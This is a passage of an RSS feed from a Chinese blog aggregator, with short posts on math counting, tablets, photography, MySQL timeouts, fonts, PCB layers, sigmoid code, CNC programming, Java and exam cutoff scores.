      <description>昨天我们说了线段的两种计数方法，一种是数端点的方法，也叫打枪法，或者叫大炮发射法，另一种是分类法。而且我们着重推荐使用分类法。今天我们继续说说平面图形的计数问题。&#xA;今天这里着重说一下，长方形以及正方形的计数。&#xA;当一个图形是长方形，只是一层的话，相信这个都很简单，大家都知道他跟数线段其实是一样的道理，那么有几个基本的长方形，根据公式，就可以很快的算出来。&#xA;如果说是有多层的话，我们是怎么算呢？其实也是可以根据分类的原理，套用公式。比如说上图中横向有3个基本长方形，纵向也有3个基本长方形，我们如何算呢？&#xA;那我们算一下横向有3+2+1=6个，纵向其实是一样的3+2+1=6个，那么这个三行三列的图形中，总共就有：6×6=36个长方形。&#xA;我们再说一下全部由小正方形组成的平面图形，怎么数正方形个数？比如一个4行4列，每一小格都是正方形组成的平面图形，总共有多少个正方形？这种图形不按顺序不分类很容易数错。&#xA;由于这些格子全部是正方形，所以从1行1列，到4行4列全都是正方形。我们也是把它分按照分类。单独一格一格的；田字格的，就是2行2列的；3行3列的，以及4行4列的这四种正方形。&#xA;单独一格小正方形这种很简单，我们可以数一下横向有4个，纵向有4个。4×4=16个。&#xA;那么这种田字格的那有多少呢？我们可以数一下3×3=9个。九宫格的有多少个呢？有2×2=4个，4行4列的就只有最外面1个。&#xA;然后我们将这些全部加起来，算出来的总数就是整个图形中正方形的个数。&#xA;16+9+4+1=30个。&#xA;如果在旁边再加一列这样的小正方形，变成了4行5列的图形，总共会有多少个正方形呢？&#xA;4行5列&#xA;单格的：4×5=20(个)&#xA;田字格：3×4=12(个)&#xA;九宫格：2×3=6(个)&#xA;四行四列的：1×2=2(个)&#xA;这图形中有没有更大的正方形了？当然没有，图形本身才是4行5列，所以最大的就是4行4列的那2个正方形。&#xA;将这四种规格的正方形数量全部相加：20+12+6+2=40(个)&#xA;平面图形计数一定记得以某种顺序，比如上图中寻找隐藏在树中的10个人头，我们就是用从上到下，从左到右的顺序来找的。如果看到一个标一个，杂乱无章的，出错的机会远远大于数对的概率。&#xA;都说条条大道通罗马，每个人的方法可能不一样，欢迎大家在评论中留下你的好方法。</description>
    </item>
    <item>
      <title>word文档墨迹工具的笔不能用_在WPS中就能修图抠图！用华为MatePad Pro 5G办公是什么体验？...</title>
      <link>https://bchobby.github.io/posts/a901a0f7f3d9436e6c1ddbfa23da361c/</link>
      <pubDate>Sat, 09 Jan 2021 06:03:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a901a0f7f3d9436e6c1ddbfa23da361c/</guid>
      <description>点击右上角关注我们，每天给您带来最新最潮的科技资讯，让您足不出户也知道科技圈大事！&#xA;在笔记本之前，大家普遍都使用台式电脑办公。笔记本电脑，特是轻薄便携的高性能笔记本电脑诞生后，不少人开始了笔记本办公的时代。不过，随着平板电脑体验越来越强，很多人都开始尝试用平板办公。毕竟，大部分平板电脑的机身更加轻薄小巧，加之价格优惠，如果平板能支持一定的日常办公任务，岂不是比天天背着笔记本电脑要爽得多？&#xA;理论上，这个是完全可以的。但是，现实是很骨感的。能真正在性能、功能上满足日常办公的平板并不多，能满足基本生态需求的更少。少，不等于没有。近日，华为MatePad Pro 5G开启预售，通过一段时间的体验，我发现，在华为MatePad Pro 5G上办公，不失为一个更轻薄便携的舒适之选。&#xA;全场景办公新体验·华为MatePad Pro 5G × WPS&#xA;首先，华为MatePad Pro 5G搭载了华为云电脑应用，你可以直接在平板电脑上进行 PC 级别的桌面办公体验，无论是文档编辑、图像处理、视频剪辑、云端编程等复杂操作，均可通过华为MatePad Pro 5G的云电脑轻松完成。&#xA;云电脑更多满足的是重度办公使用场景，而一般来说，办公室的 OL 们主要的办公场景还是 Word、Excel 和 PPT，附加的场景比如改改图这些。针对OL们的这些日常办公需求，华为MatePad Pro 5G预装了 WPS。在近日的更新中，针对平板类设备，WPS 12.5 版本又新增了画笔自由裁剪、智能人像抠图及墨迹批注三大全新的功能。用平板办公，体验将会进一步优化升级。&#xA;这篇文章就是通过华为MatePad Pro 5G 在 WPS 上写的，首先是常规的 Word 部分，由于华为MatePad Pro 5G配备了小尺寸的键盘，所以初次使用还是需要熟悉一下键位排列。整体的输入体验会比台式机自带的键盘差一些，但熟悉之后正常使用没有问题。如果有需要的话，你还可以自配一套键盘鼠标，毕竟日常携带商务轻薄本上班的我也是需要另外配键盘和鼠标进行输入的。&#xA;除了键盘外，华为MatePad Pro 5G 还配备了一根HUAWEI M－Pencil，可以配合进行输入，在单纯的码字过程中，有点类似于鼠标的存在。&#xA;整体来看，在常规码字部分，华为MatePad Pro 5G 结合 WPS 提供的还是很常规的体验。以平板的性能来看，码字、插图都不会出现卡顿情况。算是整体达到了及格线，使用上没啥问题，也没有什么特别突出的地方。&#xA;如果你对 Word 的需求不仅仅只是写稿，还涉及到稿件修改的话，华为MatePad Pro 5G能提供的体验就更多元化了。首先是改稿，常规的 Word 改稿需要用到审阅功能，加上文字的注释。这是键盘和鼠标操作下给的最优秀解决方案，而华为MatePad Pro 5G在键盘之外加入了HUAWEI M－Pencil ，这支笔的加入，给了 WPS 延伸更多功能的空间，比如华为MatePad Pro 5G搭载的WPS 就有专门的画笔板块。&#xA;画笔板块有自己的一些功能，区分智能画笔和普通画笔，普通画笔功能支持画笔涂鸦等基础操作。而智能画笔功能整体则更加丰富，提供了智能高亮、智能下划线等更多不同的功能。&#xA;新版本WPS加入了墨迹批注的功能，可以直接通过HUAWEI M－Pencil 手写输入批注内容，不需要再去频繁敲键盘，手写笔存在感更强，修改稿件也能更随心标注。除了文案可以加入批注外，还可以专门对图片加入批注，生动形象。</description>
    </item>
    <item>
      <title>fcpx怎么合成延时摄影_教你玩转延时摄影 延时摄影参数设置 延时摄影入门</title>
      <link>https://bchobby.github.io/posts/713f76f62f5f49692a4cc24ccdb9b482/</link>
      <pubDate>Fri, 08 Jan 2021 19:38:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/713f76f62f5f49692a4cc24ccdb9b482/</guid>
      <description>由于延时摄影拍摄题材众多，拍摄方法又区别于其他题材，通常都要花费比较长的时间，在拍摄过程中有说用手动模式的的，也有说用光圈优先的，在拍摄时用大光圈还是小光圈，快一点的快门速度还是慢一点的快门速度，网络上的各种说法有时会让拍摄者对延时拍摄时参数的设置不知所措，今天结合我们自己的实拍，来说说延时拍摄参数设置的一点看法。&#xA;拍摄延时大部分场合是使用M档手动模式拍摄的。因为使用M档手动模式拍摄能够由拍摄者自己来精准的控制曝光，这样可以保证所拍的前后画面明暗色调尽可能的保持一致。&#xA;但是M档手动模式的缺点是不适合拍摄前后变化太大的场景，比较典型的就是日转夜的拍摄，因为随着时间的推移，光线会越来越暗，使用M档手动模式把参数固定后，随着光线的减弱，很快就会让画面漆黑一片。&#xA;而使用光圈优先，只需确定一个光圈值，相机就会根据场景光线变化来自动调整快门速度。这样可保证画面有正常的曝光。&#xA;我们知道平时在拍摄视频时1秒钟的视频是由24-25张照片所组成，而拍摄延时往往都是1秒钟、几秒钟甚至更长的时间才会拍摄一张照片。要合成1秒钟的视频，拍摄延时就需要花更多的时间拍摄足够的照片。这也是延时摄影无法留住快速运动物体影像的原因。&#xA;使用高速快门可以把经过镜头的运动物体拍摄下来，但是拍摄第二张时运动物体早已离开画面，这样就形成不了连贯动作，但是使用过快的快门速度拍摄运动缓慢或者肉眼看不出运动变化的物体，往往拍摄多张后，拍摄主体仍然还是一样的状态看不出变化。这样合成的视频与观看静态的照片一样，缺乏动感。也就失去拍摄延时的意义。&#xA;而使用较慢的快门速度拍摄，运动物体往往会被拍成模糊的拖影，越慢这种效果越明显，而这种运动拖影恰恰是延时摄影里所需要的，以此来展现物体的运动轨迹。&#xA;综上所叙拍摄延时，快门速度调整的原则要遵循宜慢不宜快。由于拍摄视频标准快门速度设置是在1/60秒，这个速度拍摄出来的画面最接近人眼所观察到的效果。所以延时摄影的快门速度要设置不要高于1/60秒。&#xA;延时摄影对光圈的要求是不能使用太大的光圈，因为太大的光圈会导致相机进光量的增加，不利于快门速度的降低。&#xA;再一个因为拍摄延时很多都是大场景，拍摄大场景要求所拍画面清晰范围越大越好，所以需要选择具有大景深的小光圈来拍摄。&#xA;但是也不能使用太小的光圈，因为太小的光圈会严重影响画质。延时摄影的光圈设置一般维持在F8-F16之间就差不多了。&#xA;有很多教程说拍摄延时最好是将ISO固定下来，不过经过实拍，认为在可控的范围内，将ISO设为自动效果会更好一点。&#xA;具体做法是，预估拍摄时环境光比的变化情况，设定不怎么影响画质的一个ISO最低值与最高值，然后让相机根据环境变化在可控的范围内自动调整ISO来保证画面的正常曝光。不过ISO的设置也还是要遵循在条件允许的情况下越低越好，可以最大程度的保证画质。&#xA;最后再来说说白平衡色温的设置，由于拍摄延时都是需要长时间的拍摄，所以白平衡色温不能选择自动，避免所拍画面因为光线强弱明暗的原因出现前后不一致的色调。白平衡色温可以选择相机设定的固定色温也可以手动设置色温。&#xA;关于延时摄影的相机参数设置就讲到这里，如果对此有不了解的欢迎大家在评论区留言，共同讨论。</description>
    </item>
    <item>
      <title>2021-01-08</title>
      <link>https://bchobby.github.io/posts/2df0ab276f1508d6421c6c681a873af1/</link>
      <pubDate>Fri, 08 Jan 2021 16:58:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2df0ab276f1508d6421c6c681a873af1/</guid>
      <description>安卓获取imei 求教一下安卓的大佬。如何实现在打开apk时获取imei并赋值给textview。我这里打开apk就崩溃。是因为要给权限么？如果是的话怎么在启动apk时获取读取imei权限呢</description>
    </item>
    <item>
      <title>RV1109人脸识别通行门禁闸机主板模组详解</title>
      <link>https://bchobby.github.io/posts/e16ec1416b58fdd6b3a1e834969b9f62/</link>
      <pubDate>Fri, 08 Jan 2021 16:40:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e16ec1416b58fdd6b3a1e834969b9f62/</guid>
      <description>亿晟基于Linux系统推出了一款人脸识别闸机门禁主板模组，该门禁主板模组被命名为Yface-19，可以实现人脸识别通行管理、测温、考勤等功能为一体。可搭配通道闸机、楼栋门禁等设备，主要应用于社区、工业园、写字楼、景区等场景中，搭配上软件硬件能高效不间断工作7*24小时。&#xA;模组参数&#xA;Yface-19采用了RV1109 双核 ARM Cortex-A7 处理器，1.2Tops NPU，搭载了Linux操作系统，支持H.264/H.265。&#xA;产品特点&#xA;1、Fast Boot 双系统架构 SDK开源开放&#xA;2、NPU MAC利用率提升20%以上，DDR带宽减少30%，网络模型架构支持更丰富，配套AI算法&#xA;3、2D+3D降噪，3F HDR&amp;gt;120dB，黑光全彩&#xA;4、1个HOST USB，1个OTG-USB，2个232串口、1个TTL串口，1个调试串口，GPIO/IIC接口，MIPI点屏接口，可以满足市场上各种外设的要求&#xA;5、完美兼容Yface系列版型，配套软件系统平台，系统平台可定制&#xA;6、Linux应用开放定制，开发工具齐全&#xA;配套软件&#xA;Eface人脸识别通行软件，专为该方案量身定制的一款软件，主要的核心功能有口罩识别、快捷人脸录入、体温检测、访客预约、闸机门禁管理、人脸考勤管理、陌生访客识别、问卷调查等。支持身份证、IC卡、人脸识别等方式通行，通行人员记录有迹可查。&#xA;人脸算法&#xA;基于视频流的动态人脸检测、跟踪，1：N识别算法，识别率＞99.7%；动态双摄防伪，彻底解决照片、视频在各种载体上的欺骗；支持2万张人脸照片库、100W条识别记录；优化了大面积遮挡对人脸定位、识别、跟踪、活体等多个功能的影响，支持佩戴口罩仍可精准识别。&#xA;红外热成像体温筛查&#xA;支持无接触式红外热成像温度筛查，最佳体温检测距离0.5米，最远1米，测温精度≤±0.5℃，测温范围10℃~42℃，支持体温异常自动报警，秒级检测速度，考勤测温数据可实时导出。&#xA;方案配置表</description>
    </item>
    <item>
      <title>记录解决wait_time连接超时问题</title>
      <link>https://bchobby.github.io/posts/c74e9cefdf5bbba5d2229eeb358631ce/</link>
      <pubDate>Fri, 08 Jan 2021 11:37:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c74e9cefdf5bbba5d2229eeb358631ce/</guid>
      <description>com.mysql.jdbc.CommunicationsException: The last packet successfully received from the server was14400 seconds ago.The last packet sent successfully to the server was 14400seconds ago, which is longer than the server configured value of &#39;wait_timeout&#39;. You should consider either expiring and/or testing connection validity before use in your application, increasing the server configured values for client timeouts, or using the Connector/J connection property &#39;autoReconnect=true&#39; to avoid this problem. 今天遇到一个问题，就是在访问系统的时候爆出上面的错误，昨天还好好的，翻译上面的错误信息得知是因为连接超时导致，但是数据库端口正常开放，网络也通畅怎么会出现连接超时呢？通过百度才发现这个问题所在，借此记录一下以便自己后期遇到参考&#xA;首先说一下错误原因：mysql有两个变量（wait_time与interactive_timeout）wait_time（mysql服务关闭非交互式连接等待的时间秒数）interactive_timeout（服务器关闭交互式连接等待的时间秒数）MySQL连接时，服务器默认的“wait_timeout”是8小时，也就是说一个connection空闲超过8个小时，Mysql将自动断开该connection。connections如果空闲超过8小时，Mysql将其断开，而DBCP连接池并不知道该connection已经失效，如果这时有Client请求connection，DBCP将该失效的Connection提供给Client，将会造成异常。&#xA;什么是 交互式连接与非交互式连接呢？、</description>
    </item>
    <item>
      <title>din字体是开源字体吗_分享12款免费商用的高质量谷歌开源英文字体分享</title>
      <link>https://bchobby.github.io/posts/584c72a1d1a49a4150884fa135795d2a/</link>
      <pubDate>Fri, 08 Jan 2021 11:26:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/584c72a1d1a49a4150884fa135795d2a/</guid>
      <description>今天小店给大家推荐十二款超好看的开源字体&#xA;什么是开源字体？ 开源字体亦用于商业用途&#xA;这类字体为负担不起/不愿购买商业字体的使用者提供免费的选择&#xA;在给国外客户或者&#xA;国内客户做的设计需求时候并且对象是面向&#xA;国外用户的情况下&#xA;开源英文字体&#xA;就十分有必要性&#xA;国外商业英文字体授权费不贵，中文贵(因为需要设计的字的数量不是一个级别，英文就26个字母和一些标点符号中文字体你懂的，所以字体设计成本天壤之别)&#xA;具体可以到Myfonts.com看流行和推荐的英文字体换算一下汇率就可以知道，有条件的可以购买&#xA;-般是时间是1年的授权费用&#xA;但其实如果设计产品或者网站是面向国外对象用户的时候盲目使用商业英文字体，就有可能引起字体版权纠纷&#xA;1.Krona One&#xA;2.AIfphabet&#xA;3.Baloo2&#xA;4.Cinzel&#xA;5.D-din&#xA;6.DM_Serif&#xA;7.ItaIiana&#xA;8.Rajdhani&#xA;9.Pacifico&#xA;10.Philosopher&#xA;11.Staatliches&#xA;12.Quantico&#xA;给懒人准备的&#xA;考虑到移动端浏览和篇幅关系，只能展示为1列等排列形式，当然，也给懒人们准备了字体整理术psd示例如下:&#xA;我们用字体等时候选图也是十分的重要，因为一般情况下我们需要字体进行图文搭配，字体使用场景敏锐感和预判需要我们去多看，多尝试。&#xA;最后送给大家一句话:&#xA;字体是设计之魂&#xA;下载地址&#xA;百度网盘下载&#xA;链接: https://pan.baidu.com/s/1OeKsLHBMJrTEllSWi71AEg 密码: 24kt&#xA;复制这段内容后打开百度网盘手机App，操作更方便哦&#xA;因为微信公共号，暂时不能点击外链，所以请复制到浏览器上面打开！&#xA;如果链接打不开，先检查链接是否复制完整；若链接无误建议换个浏览器打开&#xA;如果觉得文章有用，下面有一排“分享”“赞”“在看”的三连操作帮忙安排上吧，听说三连击的人，工资都涨到暴击了！</description>
    </item>
    <item>
      <title>不规则图形数格子的方法_不规则图形的面积计算&#43;整理复习</title>
      <link>https://bchobby.github.io/posts/eceafbdc42ecf01f6234782f713ceaa1/</link>
      <pubDate>Fri, 08 Jan 2021 05:49:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eceafbdc42ecf01f6234782f713ceaa1/</guid>
      <description>不规则图形的面积计算是组合图形里面的知识点，我们通常使用填补法或切割法(分割法)，把不规则图形转化成我们学过的基本平面图形来计算。但是，有些不规则图形无法填补或切割，例如树叶的面积，就只能用估算的方法去解决了。 下面主要介绍这种面积 估算的方法。 面积估算有两种方法:1.数格子。2.画成近似基本图形。 数格子的方法适合用在格子不多的题目，如下图第1题。先数满格的有6格，再数不满格的有18格，一般把不满格的当半格来计算，18÷2=9，相当于拼成9格个满格，因此计算满格6+9=15格，就是15平方厘米。 画成近似基本图形来计算适合用在格数很多，图形很复杂的题目，如下图第3题。先用铅笔画出你觉得最接近的平面图形，标出计算该面积所需的数据。然后套公式计算。 上图第5-6应用题属于基本题型，必须过关。特别是知道梯形面积，求上、下底或高的任一个，用方程比较合适。第7题是变式题型，通过三角形的高作为公共桥梁，求出三角形ABC的面积。&#xA;上图填空第3小题比较抽象，需要有动手拼角的经验才便于理解。建议学会画图帮助解题。</description>
    </item>
    <item>
      <title>ad软件pcb中怎么绘制双面板_所以你在第几层初识分层PCB系列教程19</title>
      <link>https://bchobby.github.io/posts/99a02bf26bc9e2efcc6c02a412b0a84d/</link>
      <pubDate>Fri, 08 Jan 2021 04:07:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99a02bf26bc9e2efcc6c02a412b0a84d/</guid>
      <description>点击上方蓝字关注我们&#xA;PCB是分层的，不同层有不同的作用，绘制PCB之前要了解分层。从侧面来看，分层的PCB有点像：&#xA;层的简介与显示&#xA;关于分层，有2个概念容易混淆：&#xA;1，2层板，4层板，6层板的层，指的是有几个信号层。两层板也叫双面板。&#xA;2，画图时AD软件下方的标签页，每个都表示一层&#xA;分层有很多，但是第一块电路板，只关注Top Layer (顶部信号层)，Bottom Layer (底部信号层)，Top overlay(顶部丝印层)Bottom overlay(底部丝印层)，keep-out layer禁止布线层，multi-Layer (多层)Meachanical x某个机械层。其它有用的层，后续还会介绍。&#xA;Top Layer 简称红层，Bottom Layer 简称蓝层。&#xA;整理表格如下，方便理解和记忆。&#xA;英文解释Top顶Bottom底。放在底层的文字通常需要变为镜像(映射)。layer信号层，用于走线，代表有铜皮，铜能导电。overlay丝印，白色的字 ，没有电气属性keep-out layer禁止布线层，一般用作板子边界multi-Layer 多层，一般是通孔Meachanical x某个机械层，可能有标记、3D的作用，在一些情况下机械层1用作板框或螺丝孔。 为了避免多余的层影响PCB的观察与绘制，先关闭多余的层。按下快捷键“L”，如图，关闭多余的层。可以看到AD软件下方的标签页会“清爽”许多。&#xA;从图中也可以看出，第一块电路板由2个信号层，所以是个双层板。&#xA;分层以后还会详细讲解，此处这几个物体的分层有印象即可：&#xA;走线、铺铜都在信号层。&#xA;板子上的位号、版本号，日期，这些用油漆印刷的，在丝印层。&#xA;红层和蓝层之间是不直接连通的，如果需要连通红层和蓝层的线，要用到过孔。所以过孔既存在于红层又存在于蓝层，即过孔位于多层。&#xA;安装孔同样位于多层。&#xA;板框，或者说板子的边界位于机械层或禁止布线层。&#xA;《这就是中国》第63集：中国心胜 点个在看你最好看</description>
    </item>
    <item>
      <title>Sigmoid 函数</title>
      <link>https://bchobby.github.io/posts/28352431d748cfd295e065b14c20cc35/</link>
      <pubDate>Thu, 07 Jan 2021 23:59:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28352431d748cfd295e065b14c20cc35/</guid>
      <description> 前言 Sigmoid 函数（Logistic 函数）是神经网络中非常常用的激活函数，我们今天来深入了解一下 Sigmoid 函数。&#xA;函数形式 函数图像 代码实现 代码运行：Colab&#xA;import matplotlib.pyplot as plt import numpy as np import math x = np.linspace(-10, 10, 100) z = 1 / (1 + np.exp(-x)) plt.title(&#34;Sigmoid&#34;) plt.plot(x, z) plt.xlabel(&#34;x&#34;) plt.ylabel(&#34;Sigmoid(X)&#34;) plt.savefig(&#34;sigmoid.png&#34;) plt.show() plt.close() 性质及问题 函数值 S(x) 的值域为 (0, 1)，常用于二分类问题，函数平滑，易于求导。但是作为激活函数，其计算量大，反向传播求误差梯度时，求导有除法，容易出现梯度消失的情况，在输入接近于正无穷或负无穷时，梯度趋近于 0，发生梯度弥散（随着网络层数的增加，使用反向传播算法计算梯度时，从输出层到最初几层，梯度消失的非常明显，造成整体损失函数对最初几层的权重的导数非常小，这样在使用梯度下降算法时，最初几层权重变化非常慢，甚至无法学习到有用的特征）。因为 Sigmoid 函数值大于 0，因此权重更新只能朝着一个方向更新，可能影响收敛速度。&#xA;总结 Sigmoid 函数是神经网络中一种非常常用的激活函数，被广泛应用于逻辑回归，在统计学，机器学习领域有其广泛应用。&#xA;原文首发自：RAIS </description>
    </item>
    <item>
      <title>信号的基本概念及分类</title>
      <link>https://bchobby.github.io/posts/966f50a8009e9d197d5b92cab450ec29/</link>
      <pubDate>Thu, 07 Jan 2021 19:03:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/966f50a8009e9d197d5b92cab450ec29/</guid>
      <description>信号分类汇总：&#xA;确定信号和随机信号&#xA;连续信号和离散信号&#xA;周期信号和非周期信号&#xA;能量信号和功率信号&#xA;确定信号：可以用时间函数表示的信号。&#xA;随机信号：信号不能用确切的函数描述，只能知道其统计特性。&#xA;例子：&#xA;确定信号：&#xA;随机信号：&#xA;连续时间信号：连续时间范围内都有定义的信号，简称连续信号；若函数值也连续，则称为模拟信号。&#xA;离散时间信号：仅在一些离散的瞬间才有定义的信号，简称离散信号；当取值为规定数值时，则称为数字信号。&#xA;例子：&#xA;连续信号：值域连续。&#xA;连续信号：值域不连续。&#xA;周期信号：是定义在R上的，每隔一定时间T，按相同规律重复变化的信号。&#xA;非周期信号：不具有周期性的信号称为非周期信号。&#xA;两个连续信号周期性判断的方法：&#xA;若两个信号的周期之比为有理数，则为周期信号。若为无理数，则是非周期信号。&#xA;两个离散信号的周期性的判断方法：&#xA;如果 2 π / β 2\pi/\beta 2π/β是整数，正弦序列有周期，这个整数就是周期。&#xA;如果 2 π / β 2\pi/\beta 2π/β是有理数，正弦序列仍具有周期性，最小周期为使 2 π / β 2\pi/\beta 2π/β为整数的最小正整数。&#xA;如果 2 π / β 2\pi/\beta 2π/β是无理数，正弦序列为 非周期序列。&#xA;能量信号：信号的能量为有限值，功率为0；&#xA;功率信号：信号的功率为有限值，能量为正无穷；&#xA;结论：&#xA;（1）时限信号（仅在有限时间区间不为零）为能量信号；&#xA;（2）周期信号属于功率信号；&#xA;（3）非周期信号可能是能量信号，也可能是功率信号；&#xA;（4）有些信号既不是能量信号也不是功率信号；</description>
    </item>
    <item>
      <title>数控g71编程实例带图_数车编程G71实例讲解</title>
      <link>https://bchobby.github.io/posts/c7d412f8c57c4582631cfd8146dde83c/</link>
      <pubDate>Thu, 07 Jan 2021 16:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7d412f8c57c4582631cfd8146dde83c/</guid>
      <description>老铁们大家好，我是你们的好朋友少白，最近找我学习数车编程的老铁们有点多，今天呢我就给大家来分享一组案例，希望能给大家带来一些帮助，&#xA;G71,G70 编程指令是数控车最常用，也是最方便的指令，一般零件的轮廓都可以用G71编程开粗程序，G70作为精加工程序，所以这两个指令也可以理解为兄弟指令。下面就举个简单的例子来解释下这两个指令的功能和用法&#xA;如上图是一个直径大于52mm的圆柱棒，要车削得到上图的零件。对于这样的零件手工编程用G71还是比较方便的。程序如下：&#xA;O00001：&#xA;G0 X99 Z99；&#xA;M3 S800 T0101；&#xA;G0 X60 Z2；&#xA;G71 U1.5 R0.5；&#xA;G71 P1 Q2 U0.5 W0.1 F150；&#xA;N1 G0 X0；&#xA;G1 Z0；&#xA;X18&#xA;X26 Z-8；&#xA;Z-18；&#xA;X38；&#xA;X42 Z-20；&#xA;Z-30；&#xA;X48；&#xA;G03 X53 Z-32 R2；&#xA;G1 Z-35；&#xA;N2 U1；&#xA;G0 X99 Z99 M05;&#xA;M0;&#xA;M03 S1400 T0101;&#xA;M08;&#xA;G0 X60 Z2;&#xA;G70 P1 Q2 F100;&#xA;G0 X99 Z99 M05;&#xA;M09&#xA;M30；&#xA;程序的详细解释如下：&#xA;G0 X99 Z99;——刀具的安全位置</description>
    </item>
    <item>
      <title>nvcc fatal   : No input files specified； use option --help for more information</title>
      <link>https://bchobby.github.io/posts/3210b2b14da7b9dce266bf9a908bdbcf/</link>
      <pubDate>Thu, 07 Jan 2021 16:44:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3210b2b14da7b9dce266bf9a908bdbcf/</guid>
      <description>记录一下出现的不可思议的bug&#xA;nvcc fatal : No input files specified; use option --help for more information&#xA;首先看看是否是大小写问题&#xA;是不是神bug</description>
    </item>
    <item>
      <title>Java中CompareTo()方法的详细介绍</title>
      <link>https://bchobby.github.io/posts/f6660fcdd46770e52cf32cd92bf1dc4f/</link>
      <pubDate>Thu, 07 Jan 2021 14:35:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6660fcdd46770e52cf32cd92bf1dc4f/</guid>
      <description>Java中CompareTo()方法：&#xA;1.对于单个字符，返还两个字符的asc码的差值。&#xA;如果参数字符串等于此字符串，则返回值 0； 如果此字符串小于字符串参数，则返回一个小于 0 的值； 如果此字符串大于字符串参数，则返回一个大于 0 的值。 String str1=&#34;a&#34;; String str2=&#34;b&#34;;&#x9;System.out.println(str1.compareTo(str2)); ________________________________________ 结果：-1。 2.参与比较的两个字符串如果首字符相同，则比较下一个字符，直到有不同的为止，返回该不同的字符的asc码差值 。&#xA;String str1=&#34;aa&#34;; String str2=&#34;ak&#34;; System.out.println(str1.compareTo(str2)); _________________________________________ 结果：-10 3.两字符串长度不一，参与比较的两个字符串如果首字符相同，则比较下一个字符，直到有不同的为止，返回该不同的字符的asc码差值 。&#xA;String str5=&#34;ag&#34;; String str6=&#34;dvwed&#34;;&#x9;System.out.println(str5.compareTo(str6)); ————————————————————————————————————————— 结果：-3 注意：int类型不可直接使用compareTo方法，需要使用String.ValueOf();方法转化为字符串之后进行比较。&#xA;-----------------------------------------------------2021.1.7/sun</description>
    </item>
    <item>
      <title>sql企业版和标准版区别_一张图看懂OPPO Reno 3标准版和Pro版的区别</title>
      <link>https://bchobby.github.io/posts/55aa034161d82ae0143f8246dd40b994/</link>
      <pubDate>Thu, 07 Jan 2021 12:56:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55aa034161d82ae0143f8246dd40b994/</guid>
      <description>随着发布会的临近，OPPO Reno 3系列的硬件参数被彻底曝光。虽然普通版和Pro版都支持双模5G网络，但是为了不同的定位，这2款手机在主要硬件配置上区别还是蛮大的。根据官方和工信部的消息，亓纪将两款手机的的硬件参数做了一个对比，通过一张图片分享给大家。&#xA;屏幕方面：标准版采用6.4英寸水滴屏，屏幕刷新率为60Hz。Pro版采用6.5英寸挖孔曲面屏，刷新率升级到90Hz，给用户带来更流畅的视觉体验。得益于曲面屏的优势，Pro版的三围更短更窄更轻薄，机身三围是159.4*72.4*7.7毫米，只有172克重。在目前已知的双模5G手机中，OPPO Reno 3系列应该是最轻薄的两款手机。&#xA;性能方面：Pro版采用了主频为2.4GHz的骁龙765G处理器，安兔兔跑分30万+，标准版采用联发科天玑1000L处理器，安兔兔跑分37W+。跑分标准版吊打Pro版，看来厂商对联发科处理器依旧保持慎重的态度。两款手机均支持双模5G网络，令人意外的是：标准版支持N41,N78和N79三个5G频段，Pro版仅支持N41和N78两个5G频段。&#xA;拍照方面：两款手机前置均为3200万像素摄像头，差距主要在后置四摄上：标准版采用6400万+800万+200万+200万四摄组合，主摄大概率为三星GW1，支持超级视频防抖Pro。Pro版采用4800万+1300万+800万+200万四摄组合，主摄应该是索尼IMX586，支持OIS光学防抖和超级视频防抖Pro。难道小米不仅全球首发索尼IMX686，还有一定的独占期？&#xA;其他方面：两款手机均内置4025毫安时电池，支持30W快充方案。标准版拥有月光白、月夜黑、蓝色星夜和日出印象这四种配色，支持石墨散热系统。Pro版拥有雾月白、月夜黑，日出印象和蓝色星夜这四款配色，支持更高级的立体液冷散热系统。&#xA;亓言纪语：&#xA;由于种种原因，OPPO Reno 3变成了一款定位中端的双模5G手机。这也是为什么这款新机主打轻薄机身，放弃了很多黑科技的主要原因。想要旗舰双模5G手机的小伙伴，可以期待一下2020年的OPPO Find X2。对于OPPO Reno 3系列大家觉得怎么样？&#xA;我是亓纪，以上就是亓纪的想法。码字原创不易，喜欢的记得关注亓纪的想法，也可以点赞，转发和评论。更多有趣的数码资讯等你来聊。</description>
    </item>
    <item>
      <title>2019年安徽省模块七满分多少_2021年安徽省艺术统考各模块合格线预测</title>
      <link>https://bchobby.github.io/posts/25ea6ebd35e4afb7d83eb009504646c8/</link>
      <pubDate>Thu, 07 Jan 2021 12:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25ea6ebd35e4afb7d83eb009504646c8/</guid>
      <description>2021艺术统考结束后，统考合格线及成绩查询就成了大家关注的重点。之前成绩查询公布时间已经发过，今天，一起来预测一下2021的艺术类专业统考各模块合格线。。&#xA;首先，先看一下近3年安徽合格线情况&#xA;2018年安徽各模块统考合格线&#xA;模块一播音主持：统考合格线为117分【满分300】；&#xA;模块二广播电视编导：统考合格线为174分【满分300】；&#xA;模块三表演(体舞健美)：统考合格线为210分【满分300】；&#xA;模块四舞蹈类：统考合格线为113分【满分200】；&#xA;模块五影视表演类：统考合格线为178分【满分300】；&#xA;模块六书法类：统考合格线为203分【满分300】；&#xA;模块七美术与设计学类：统考合格线为190分【满分375】；&#xA;模块八音乐：统考合格线为110分【满分210】。&#xA;2019年安徽各模块统考合格线&#xA;模块一播音主持：统考合格线为112分【满分300】；&#xA;模块二广播电视编导：统考合格线为157分【满分300】；&#xA;模块三表演(体舞健美)：统考合格线为225分【满分300】；&#xA;模块四舞蹈类：统考合格线为105分【满分200】；&#xA;模块五影视表演类：统考合格线为182分【满分300】：&#xA;模块六书法类：统考合格线为211分【满分300】；&#xA;模块七美术与设计学类：统考合格线为178分【满分375】；&#xA;模块八音乐：统考合格线为111分【满分210】。&#xA;2020年安徽各模块统考合格线&#xA;模块一播音主持：统考合格线为120分【满分300】；&#xA;模块二广播电视编导：统考合格线为163分【满分300】；&#xA;模块三表演(体舞健美)：统考合格线为219分【满分300】；&#xA;模块四舞